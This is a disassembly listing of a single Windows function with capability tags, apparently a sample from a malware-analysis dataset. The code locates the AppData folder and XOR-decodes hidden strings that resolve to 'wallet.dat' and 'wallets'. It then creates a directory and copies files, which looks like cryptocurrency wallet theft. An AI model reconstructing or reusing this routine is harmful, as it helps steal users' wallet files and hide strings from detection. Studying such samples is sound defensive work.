Function at 0x410a20
Capabilities:
Check if file exists
Copy file
Create directory
Encode data using xor
Get common file path
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x503e80
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x1e8
push esi
push edi
mov dword [ebp - 0x28], ecx
push 0x104
lea eax, [ebp - 0x1f8]
mov dword [ebp - 4], 1
push 0
push eax
call fcn.004df440
add esp, 0xc
lea eax, [ebp - 0x1f8]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov word [ebp - 0x13], 0x5c
lea ecx, [ebp - 0x13]
mov byte [ebp - 0x11], 0
movups xmmword [ebp - 0xd4], xmm0
mov dword [ebp - 0xc4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xc0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410ab7
sub ecx, edx
lea eax, [ebp - 0x13]
push ecx
push eax
lea ecx, [ebp - 0xd4]
call fcn.004028a0
lea eax, [ebp - 0xd4]
mov byte [ebp - 4], 2
push eax
lea edx, [ebp - 0x1f8]
lea ecx, [ebp - 0xec]
call fcn.00469ec0
add esp, 4
lea ecx, [ebx + 8]
mov byte [ebp - 4], 3
push ecx
mov ecx, eax
call fcn.00465e90
mov dword [ebp - 0x48], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x58], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x48], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0xd8]
cmp ecx, 0x10
jb 0x410b73
mov edx, dword [ebp - 0xec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410b69
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4117e6
push ecx
push edx
call fcn.004dd461
add esp, 8
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0xf
mov byte [ebp - 0xec], 0
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0xc0]
cmp ecx, 0x10
jb 0x410bcc
mov edx, dword [ebp - 0xd4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410bc2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4117e6
push ecx
push edx
call fcn.004dd461
add esp, 8
cmp dword [ebp - 0x44], 0x10
lea esi, [ebp - 0x58]
push 0x538280
cmovae esi, dword [ebp - 0x58]
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0xf
mov byte [ebp - 0xd4], 0
call fcn.004dc762
add esp, 4
test eax, eax
jne 0x4117eb
test esi, esi
je 0x411706
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410c14
sub ecx, edx
je 0x411706
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410c4d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x410c4d
cmp eax, 0x20
je 0x410c4d
cmp eax, 0x45
je 0x410c4d
cmp eax, 0x24
jne 0x411706
push 0x538280
call fcn.004dc773
add esp, 4
mov dword [ebp - 0x21], 0xd0dacde5
mov dword [ebp - 0x1d], 0xeecbdbd1
xor ecx, ecx
mov dword [ebp - 0x19], 0xb7a3a5
mov byte [ebp - 0x15], 1
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0xb
jb 0x410c75
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x21]
mov dword [ebp - 0x14], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410c95
mov edi, closesocket
sub ecx, edx
mov edx, dword [ebp - 0x48]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x4117f1
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push ecx
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x21]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
mov ecx, esi
call fcn.0046db90
call fcn.0040bf60
add esp, 0x18
test al, al
je 0x411151
lea ecx, [ebp - 0x13]
mov word [ebp - 0x13], 0x5c
mov byte [ebp - 0x11], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410cf0
sub ecx, edx
mov eax, edi
mov edx, dword [ebx + 0x30]
sub eax, edx
cmp eax, ecx
jb 0x4117f6
cmp dword [ebx + 0x34], 0x10
lea eax, [ebx + 0x20]
push ecx
cmovae eax, dword [ebx + 0x20]
lea ecx, [ebp - 0x13]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x70]
call fcn.0046db90
mov byte [ebp - 4], 7
lea ecx, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
mov edx, dword [ebp - 0x60]
cmovae ecx, dword [ebx + 8]
mov eax, dword [ebp - 0x5c]
mov edi, dword [ebx + 0x18]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x410d75
cmp dword [ebp - 0x5c], 0x10
lea esi, [ebp - 0x70]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0x70]
mov dword [ebp - 0x60], eax
lea eax, [esi + edx]
push eax
call fcn.004deec0
mov ecx, dword [ebp - 0x14]
lea eax, [esi + edi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x70]
jmp 0x410d85
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x70]
push dword [ebp - 0x14]
push edi
call fcn.0046bf80
mov dword [ebp - 0x90], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0x8c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xa0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x90], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x410e03
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410df9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4117fb
push ecx
push edx
call fcn.004dd461
add esp, 8
cmp dword [ebp - 0x8c], 0x10
lea esi, [ebp - 0xa0]
push 0x538280
cmovae esi, dword [ebp - 0xa0]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
call fcn.004dc762
add esp, 4
test eax, eax
jne 0x411800
test esi, esi
je 0x410e87
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410e47
sub ecx, edx
je 0x410e87
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410e78
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x410e78
cmp eax, 0x20
je 0x410e78
cmp eax, 0x45
je 0x410e78
cmp eax, 0x24
jne 0x410e87
push 0x538280
call fcn.004dc773
add esp, 4
jmp 0x410eb9
push 0x538280
call fcn.004dc773
add esp, 4
lea eax, [ebp - 0xa0]
cmp dword [ebp - 0x8c], 0x10
cmovae eax, dword [ebp - 0xa0]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x41110e
mov dword [ebp - 0x21], 0xd0dacde5
xor ecx, ecx
mov dword [ebp - 0x1d], 0xeecbdbd1
mov dword [ebp - 0x19], 0xb7a3a5
mov byte [ebp - 0x15], 1
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0xb
jb 0x410ed4
lea ecx, [ebp - 0x21]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410ef0
mov edi, closesocket
sub ecx, edx
mov edx, dword [ebp - 0x90]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x411806
cmp dword [ebp - 0x8c], 0x10
lea eax, [ebp - 0xa0]
push ecx
cmovae eax, dword [ebp - 0xa0]
lea ecx, [ebp - 0x21]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0xbc]
call fcn.0046db90
mov byte [ebp - 4], 0xa
lea esi, [ebp - 0xbc]
cmp dword [ebp - 0xa8], 0x10
mov dword [ebp - 0x21], 0xd0dacde5
cmovae esi, dword [ebp - 0xbc]
xor ecx, ecx
mov dword [ebp - 0x1d], 0xeecbdbd1
mov dword [ebp - 0x19], 0xb7a3a5
mov byte [ebp - 0x15], 1
nop dword [eax]
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0xb
jb 0x410f70
lea ecx, [ebp - 0x21]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410f88
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x48]
sub eax, edx
cmp eax, ecx
jb 0x41180b
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push ecx
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x21]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x88]
call fcn.0046db90
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push 0
cmovae eax, dword [ebp - 0x88]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp - 0x74]
mov esi, eax
cmp ecx, 0x10
jb 0x411015
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41100b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411810
push ecx
push edx
call fcn.004dd461
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0xa8]
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
cmp ecx, 0x10
jb 0x411068
mov edx, dword [ebp - 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41105e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411810
push ecx
push edx
call fcn.004dd461
add esp, 8
test esi, esi
je 0x411077
mov eax, dword [ebp - 0x28]
mov byte [eax], 1
jmp 0x411113
cmp dword [ebp - 0x8c], 0x10
lea edx, [ebp - 0xa0]
xorps xmm0, xmm0
mov dword [ebp - 0x78], 0
cmovae edx, dword [ebp - 0xa0]
mov ecx, edx
mov dword [ebp - 0x74], 0
movups xmmword [ebp - 0x88], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4110a8
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x88]
call fcn.004028a0
push ecx
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0xb
call fcn.0040c0b0
mov byte [ebp - 4], 9
add esp, 4
mov ecx, dword [ebp - 0x74]
cmp ecx, 0x10
jb 0x411113
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411102
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411815
push ecx
push edx
call fcn.004dd461
add esp, 8
jmp 0x411113
mov edi, closesocket
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0x10
jb 0x411151
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411147
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41181a
push ecx
push edx
call fcn.004dd461
add esp, 8
mov dword [ebp - 0x1e], 0xd0dacde5
xor ecx, ecx
mov dword [ebp - 0x1a], 0xb3cbdbd1
mov word [ebp - 0x16], 0x100
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 8
jb 0x411167
lea ecx, [ebp - 0x1e]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411180
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x48]
sub eax, edx
cmp eax, ecx
jb 0x41181f
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push ecx
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x1e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0xbc]
call fcn.0046db90
mov byte [ebp - 4], 0xc
lea esi, [ebp - 0xbc]
cmp dword [ebp - 0xa8], 0x10
push 0x538280
cmovae esi, dword [ebp - 0xbc]
call fcn.004dc762
add esp, 4
test eax, eax
jne 0x411824
test esi, esi
je 0x411231
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4111f0
sub ecx, edx
je 0x411231
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x411221
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x411221
cmp eax, 0x20
je 0x411221
cmp eax, 0x45
je 0x411221
cmp eax, 0x24
jne 0x411231
push 0x538280
call fcn.004dc773
mov byte [ebp - 0x22], 1
jmp 0x41123f
push 0x538280
call fcn.004dc773
mov byte [ebp - 0x22], 0
mov byte [ebp - 4], 6
add esp, 4
mov ecx, dword [ebp - 0xa8]
cmp ecx, 0x10
jb 0x411280
mov edx, dword [ebp - 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411276
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41182a
push ecx
push edx
call fcn.004dd461
add esp, 8
cmp byte [ebp - 0x22], 0
je 0x411713
lea ecx, [ebp - 0x13]
mov word [ebp - 0x13], 0x5c
mov byte [ebp - 0x11], 0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4112a0
sub ecx, edx
mov eax, edi
mov edx, dword [ebx + 0x30]
sub eax, edx
cmp eax, ecx
jb 0x41182f
cmp dword [ebx + 0x34], 0x10
lea eax, [ebx + 0x20]
push ecx
cmovae eax, dword [ebx + 0x20]
lea ecx, [ebp - 0x13]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x70]
call fcn.0046db90
mov byte [ebp - 4], 0xd
lea ecx, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
mov edx, dword [ebp - 0x60]
cmovae ecx, dword [ebx + 8]
mov eax, dword [ebp - 0x5c]
mov edi, dword [ebx + 0x18]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x411325
cmp dword [ebp - 0x5c], 0x10
lea esi, [ebp - 0x70]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0x70]
mov dword [ebp - 0x60], eax
lea eax, [esi + edx]
push eax
call fcn.004deec0
mov ecx, dword [ebp - 0x14]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x70]
jmp 0x411335
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x70]
push dword [ebp - 0x14]
push edi
call fcn.0046bf80
mov dword [ebp - 0x30], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x2c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x40], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x30], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x4113a4
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41139a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411834
push ecx
push edx
call fcn.004dd461
add esp, 8
cmp dword [ebp - 0x2c], 0x10
lea esi, [ebp - 0x40]
push 0x538280
cmovae esi, dword [ebp - 0x40]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
call fcn.004dc762
add esp, 4
test eax, eax
jne 0x411839
test esi, esi
je 0x411420
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4113e0
sub ecx, edx
je 0x411420
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x411411
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x411411
cmp eax, 0x20
je 0x411411
cmp eax, 0x45
je 0x411411
cmp eax, 0x24
jne 0x411420
push 0x538280
call fcn.004dc773
add esp, 4
jmp 0x411449
push 0x538280
call fcn.004dc773
add esp, 4
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
cmovae eax, dword [ebp - 0x40]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4116d0
mov dword [ebp - 0x1e], 0xd0dacde5
xor ecx, ecx
mov dword [ebp - 0x1a], 0xb3cbdbd1
mov word [ebp - 0x16], 0x100
nop
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 8
jb 0x411460
lea ecx, [ebp - 0x1e]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411478
mov edi, closesocket
sub ecx, edx
mov edx, dword [ebp - 0x30]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x41183f
cmp dword [ebp - 0x2c], 0x10
lea eax, [ebp - 0x40]
push ecx
cmovae eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x1e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0xbc]
call fcn.0046db90
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0x10
jb 0x4114ea
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4114e0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411854
push ecx
push edx
call fcn.004dd461
add esp, 8
movups xmm1, xmmword [ebp - 0xbc]
lea esi, [ebp - 0x40]
movq xmm0, qword [ebp - 0xac]
movq qword [ebp - 0x30], xmm0
cmp dword [ebp - 0x2c], 0x10
movd eax, xmm1
push 0x538280
movups xmmword [ebp - 0x40], xmm1
cmovae esi, eax
call fcn.004dc762
add esp, 4
test eax, eax
jne 0x411844
test esi, esi
je 0x411570
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411530
sub ecx, edx
je 0x411570
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x411561
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x411561
cmp eax, 0x20
je 0x411561
cmp eax, 0x45
je 0x411561
cmp eax, 0x24
jne 0x411570
push 0x538280
call fcn.004dc773
add esp, 4
jmp 0x411599
push 0x538280
call fcn.004dc773
add esp, 4
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
cmovae eax, dword [ebp - 0x40]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4116d0
sub esp, 0x18
mov byte [ebp - 0x22], 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.00466110
mov byte [ebp - 4], 0x10
xor ecx, ecx
mov dword [ebp - 0x1e], 0xd0dacde5
mov dword [ebp - 0x1a], 0xb3cbdbd1
mov word [ebp - 0x16], 0x100
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 8
jb 0x4115c8
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x1e]
mov dword [ebp - 0xa4], esi
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4115f0
sub ecx, edx
mov edx, dword [ebp - 0x48]
sub edi, edx
cmp edi, ecx
jb 0x41184a
cmp dword [ebp - 0x44], 0x10
lea edi, [ebp - 0x1e]
push ecx
push edi
push edx
lea eax, [ebp - 0x58]
cmovae eax, dword [ebp - 0x58]
push eax
push ecx
push dword [ebp - 0xa4]
mov ecx, esi
call fcn.0046db90
mov cl, byte [ebp - 0x22]
mov byte [ebp - 4], 0xf
call fcn.0040f520
add esp, 0x30
test eax, eax
jne 0x411644
mov eax, dword [ebp - 0x28]
mov byte [eax], 1
jmp 0x4116d0
cmp dword [ebp - 0x2c], 0x10
lea edx, [ebp - 0x40]
xorps xmm0, xmm0
mov dword [ebp - 0x78], 0
cmovae edx, dword [ebp - 0x40]
mov ecx, edx
mov dword [ebp - 0x74], 0
movups xmmword [ebp - 0x88], xmm0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411670
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x88]
call fcn.004028a0
push ecx
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x11
call fcn.0040c0b0
mov ecx, dword [ebp - 0x74]
add esp, 4
cmp ecx, 0x10
jb 0x4116d0
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4116c6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41184f
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0x10
jb 0x411713
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4116fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411854
push ecx
push edx
call fcn.004dd461
add esp, 8
jmp 0x411713
push 0x538280
call fcn.004dc773
add esp, 4
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x411747
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41173d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411859
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebx + 0x1c]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
cmp ecx, 0x10
jb 0x41178d
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411783
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411859
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebx + 0x34]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x1c], 0xf
mov byte [ebx + 8], 0
cmp ecx, 0x10
jb 0x4117d3
mov edx, dword [ebx + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4117c9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411859
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e2700
push eax
call fcn.004dc40b
call fcn.00402060
call fcn.00402060
call fcn.004e2700
push eax
call fcn.004dc40b
call fcn.00402060
call fcn.00402060
call fcn.004e2700
call fcn.004e2700
call fcn.004e2700
call fcn.00402060
push eax
call fcn.004dc40b
call fcn.004e2700
call fcn.00402060
call fcn.004e2700
push eax
call fcn.004dc40b
call fcn.00402060
push eax
call fcn.004dc40b
call fcn.00402060
call fcn.004e2700
call fcn.004e2700
call fcn.004e2700
int3